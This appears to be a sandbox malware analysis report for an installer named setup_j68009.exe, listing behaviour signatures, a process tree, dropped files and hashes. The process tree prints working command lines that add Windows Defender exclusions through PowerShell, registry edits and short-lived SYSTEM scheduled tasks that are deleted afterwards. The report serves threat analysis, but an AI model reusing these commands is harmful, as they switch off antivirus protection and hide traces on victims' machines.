Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 19:10

General

  • Target
    setup_j68009.exe
  • Size 53.8MB
  • Sample260806-xvcbpsstcy
  • SHA256 6c6c10000682c5245c2a50014f5b56951b3e7eb5b6bd38cc1d84b749d9681797
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_j68009.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_j68009.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2680
  • C:\Users\Public\3GRpK7\zGgwbT.exe
    "C:\Users\Public\3GRpK7\zGgwbT.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5488
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3GRpK7\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5712
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3GRpK7\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3480
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:6692
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:6524
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:6276
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6180
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4620
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1976
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6396
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1828
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:428
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6960
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4788
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:6472
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3568
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:6788
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3116
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1352
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5980
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:6576
                      • C:\Users\Public\3GRpK7\zGgwbT.exe
                        "C:\Users\Public\3GRpK7\zGgwbT.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5884
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3GRpK7" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:6816
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3GRpK7" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:6908
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:932
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1276
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2528

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\3GRpK7\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 a8558e4bd42b3a491fe62293362f8721e5cc2f52a2fef692611639a0de924f6f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\3GRpK7\adoresd.dat
                              • Size 4.7MB
                              • SHA256 06ab01d4268d94a7492ffadd806d44b5a4624aa96a430bf9eccd5ca6a8eddef2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\3GRpK7\msadox.tb
                              • Size 8KB
                              • SHA256 d6cd925071e1b11d7b074db7dec6ce096617108d7f123de42f980ff655b16d13
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              zGgwbT.exe

                              • Path C:\Users\Public\3GRpK7\zGgwbT.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2680-1-0x0000000005580000-0x000000000558B000-memory.dmp

                              memory/2680-503-0x00007FF97AE80000-0x00007FF97AE92000-memory.dmp

                              memory/2680-523-0x0000000005570000-0x000000000557D000-memory.dmp

                              memory/2680-524-0x00007FF97AE80000-0x00007FF97AE92000-memory.dmp

                              memory/2680-0-0x0000000005570000-0x000000000557D000-memory.dmp

                              memory/3292-560-0x0000025E5C940000-0x0000025E5C9CA000-memory.dmp

                              memory/3292-562-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-535-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-537-0x00007FF983240000-0x00007FF983242000-memory.dmp

                              memory/3292-538-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-543-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-544-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-545-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-542-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-549-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-555-0x0000025E5C860000-0x0000025E5C8AE000-memory.dmp

                              memory/3292-529-0x00007FF983230000-0x00007FF983232000-memory.dmp

                              memory/3292-559-0x0000025E5C940000-0x0000025E5C9CA000-memory.dmp

                              memory/3292-558-0x0000025E5C940000-0x0000025E5C9CA000-memory.dmp

                              memory/3292-557-0x0000025E5C940000-0x0000025E5C9CA000-memory.dmp

                              memory/3292-531-0x00007FF960430000-0x00007FF96094E000-memory.dmp

                              memory/3292-564-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/3292-566-0x0000025E5BFC0000-0x0000025E5C851000-memory.dmp

                              memory/5488-598-0x000002ABF8B30000-0x000002ABF8B52000-memory.dmp

                              memory/5488-607-0x000002ABF8E40000-0x000002ABF8E4A000-memory.dmp

                              memory/5488-606-0x000002ABF8D80000-0x000002ABF8E32000-memory.dmp

                              memory/5488-605-0x000002ABF8D60000-0x000002ABF8D7E000-memory.dmp

                              memory/5884-579-0x000001979C160000-0x000001979C9F1000-memory.dmp

                              memory/5884-583-0x000001979C160000-0x000001979C9F1000-memory.dmp

                              memory/5884-585-0x000001979C160000-0x000001979C9F1000-memory.dmp

                              memory/5884-584-0x000001979C160000-0x000001979C9F1000-memory.dmp

                              memory/5884-586-0x00007FF983230000-0x00007FF983232000-memory.dmp

                              memory/5884-582-0x000001979C160000-0x000001979C9F1000-memory.dmp

                              memory/5884-572-0x00007FF960430000-0x00007FF96094E000-memory.dmp

                              memory/5884-577-0x00007FF983240000-0x00007FF983242000-memory.dmp

                              memory/5884-575-0x000001979C160000-0x000001979C9F1000-memory.dmp